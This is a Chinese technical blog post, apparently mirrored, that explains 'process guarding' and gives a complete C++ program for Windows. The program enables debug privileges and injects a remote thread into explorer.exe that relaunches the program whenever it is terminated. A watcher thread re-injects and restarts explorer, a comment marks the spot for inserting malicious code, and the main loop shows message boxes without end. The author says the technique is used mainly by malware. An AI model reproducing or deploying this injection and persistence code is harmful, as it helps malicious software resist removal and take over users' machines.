zoukankan      html  css  js  c++  java
  • 安全之路 —— C++实现进程守护

    简介

    所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为DLL远程注入无DLL远程注入

    代码实现

    //////////////////////////////////////
    //
    // FileName : ProcessProtectorDemo.cpp
    // Creator : PeterZheng
    // Date : 2018/9/06 17:32
    // Comment : Process Protector
    //
    //////////////////////////////////////
    
    #pragma once
    
    #include <cstdio>
    #include <iostream>
    #include <cstdlib>
    #include <string.h>
    #include <string>
    #include <strsafe.h>
    #include <Windows.h>
    #include <tlhelp32.h>
    #include <vector>
    
    using namespace std;
    
    #define MAX_LENGTH 255
    #pragma warning(disable:4996)
    
    //远程线程参数结构体
    typedef struct _remoteTdParams
    {
        LPVOID ZWinExec;             // WinExec Function Address
        LPVOID ZOpenProcess;         // OpenProcess Function Address
        LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
        DWORD ZPid;                  // Param => Process id
        HANDLE ZProcessHandle;       // Param => Handle
        CHAR filePath[MAX_LENGTH];   // Param => File Path
    }RemoteParam;
    
    //本地线程参数结构体
    typedef struct _localTdParams
    {
        CHAR remoteProcName[MAX_LENGTH];
        DWORD localPid;
        DWORD remotePid;
        HANDLE hRemoteThread;
    }LocalParam;
    
    //字符串分割函数
    BOOL SplitString(const string& s, vector<string>& v, const string& c)
    {
        string::size_type pos1, pos2;
        pos2 = s.find(c);
        pos1 = 0;
        while (string::npos != pos2)
        {
            v.push_back(s.substr(pos1, pos2 - pos1));
    
            pos1 = pos2 + c.size();
            pos2 = s.find(c, pos1);
        }
        if (pos1 != s.length())
            v.push_back(s.substr(pos1));
        return TRUE;
    }
    
    
    //远程线程函数体 (守护函数)
    DWORD WINAPI ThreadProc(RemoteParam *lprp)
    {
        typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
        typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
        typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
        ZWinExec ZWE;
        ZOpenProcess ZOP;
        ZWaitForSingleObject ZWFSO;
        ZWE = (ZWinExec)lprp->ZWinExec;
        ZOP = (ZOpenProcess)lprp->ZOpenProcess;
        ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
        lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
        ZWFSO(lprp->ZProcessHandle, INFINITE);
        ZWE(lprp->filePath, SW_SHOW);
        return 0;
    }
    
    //获取PID
    DWORD __cdecl GetProcessID(CHAR *ProcessName)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
        BOOL bProcess = Process32First(hProcessSnap, &pe32);
        while (bProcess)
        {
            if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
                return pe32.th32ProcessID;
            bProcess = Process32Next(hProcessSnap, &pe32);
        }
        CloseHandle(hProcessSnap);
        return 0;
    }
    
    //获取权限
    int __cdecl EnableDebugPriv(const TCHAR *name)
    {
        HANDLE hToken;
        TOKEN_PRIVILEGES tp;
        LUID luid;
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken)) return 1;
        if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        tp.Privileges[0].Luid = luid;
        if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
        return 0;
    }
    
    //线程注入函数
    BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
    {
        if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
        HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
        if (!hWnd) return FALSE;
        RemoteParam rp;
        ZeroMemory(&rp, sizeof(RemoteParam));
        rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
        rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
        rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
        rp.ZPid = dwLocalPid;
        CHAR szPath[MAX_LENGTH] = "";
        GetModuleFileName(NULL, szPath, sizeof(szPath));
        StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
        RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!pRemoteParam) return FALSE;
        if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
        LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!pRemoteThread) return FALSE;
        if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
        hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
        if (!hThread) return FALSE;
        return TRUE;
    }
    
    //远程线程监控函数(本地线程函数)
    DWORD WINAPI WatchFuncData(LPVOID lprarm)
    {
        HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
        DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
        DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
        CHAR szRemoteProcName[MAX_LENGTH] = "";
        StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
        DWORD exitCode = 0;
        while (TRUE)
        {
            if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
            GetExitCodeThread(hRemoteThread, &exitCode);
            if (exitCode^STILL_ACTIVE)
            {
                WinExec(szRemoteProcName, SW_HIDE);
                dwRemotePid = GetProcessID(szRemoteProcName);
                InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
            }
            Sleep(1000);
        }
        return 0;
    }
    
    //主函数
    int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
    {
        LocalParam lpLp;
        ZeroMemory(&lpLp, sizeof(LocalParam));
        CHAR szRemoteProcName[MAX_LENGTH] = "";
        CHAR szLocalProcName[MAX_LENGTH] = "";
        CHAR currentFilePath[MAX_LENGTH] = "";
        vector<string> pathGroup;
        GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
        SplitString(currentFilePath, pathGroup, "\");
        StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
        StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
        StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
        StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
        DWORD dwRemotePid = GetProcessID(szRemoteProcName);
        DWORD dwLocalPid = GetProcessID(szLocalProcName);
        HANDLE hThread = NULL;
        lpLp.remotePid = dwRemotePid;
        lpLp.localPid = dwLocalPid;
        hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
        //....插入恶意代码等工作流程
        while (TRUE)
        {
            MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
        }
        WaitForSingleObject(hThread, INFINITE);
        return 0;
    }
  • 相关阅读:
    [经验栈]C#中几种定时器(timer)的区别
    [经验栈]C#与泰克示波器(Tektronix oscilloscope)MSO64通信操作
    [经验栈]C#监测IPv4v6网速及流量
    [技术栈]CRC校验原理及C#代码实现CRC16、CRC32计算FCS校验码
    [技术栈]C#利用Luhn算法(模10算法)对IMEI校验
    [经验栈]SQL语句逻辑运算符"AND"、"&&"兼容性
    Winform或WebForm使用ReportViewer报表设计,工具栏按钮英文显示的解决办法
    Dev 使用RibbonForm打开多标签窗体,主窗体的Text显示一个
    Devexpress如何获取RadioGroup选中项的值和显示值
    MySQL远程连接失败,MySQL远程连接出现Using password:YES错误的解决办法
  • 原文地址:https://www.cnblogs.com/csnd/p/12896999.html
Copyright © 2011-2022 走看看